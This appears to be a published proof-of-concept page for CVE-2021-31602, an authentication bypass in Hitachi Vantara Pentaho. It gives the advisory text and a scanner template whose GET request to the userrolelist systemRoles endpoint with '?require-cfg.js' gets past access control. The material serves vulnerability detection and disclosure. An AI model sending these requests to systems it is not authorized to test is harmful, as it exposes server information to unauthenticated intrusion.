CVE-2021-31602: Pentahoa uthentication bypass

2025-08-01 Pentahoa PoC Public

Description

An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.

PoC

id: CVE-2021-31602

info:
  name: Pentahoa uthentication bypass
  author: For3stCo1d
  severity: high
  description: |-
    An issue was discovered in Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-pentaho-unauth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31602
    - https://ssd-disclosure.com/ssd-advisory--pentaho-unauth-rce
    - https://www.tenable.com/security/research/tra-2021-44
  tags: cve,cve2021,rce,pentaho
  created: 2021/12/20

rules:
  r0:
    request:
      method: GET
      path: /pentaho/api/userrolelist/systemRoles?require-cfg.js
    expression: response.status == 200 && response.headers["set-cookie"].contains("JSESSIONID=") && response.body.bcontains(b"<roles>Anonymous</roles></roleList>")
  r1:
    request:
      method: GET
      path: /api/userrolelist/systemRoles?require-cfg.js
    expression: response.status == 200 && response.headers["set-cookie"].contains("JSESSIONID=") && response.body.bcontains(b"<roles>Anonymous</roles></roleList>")
expression: r0() || r1()

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References

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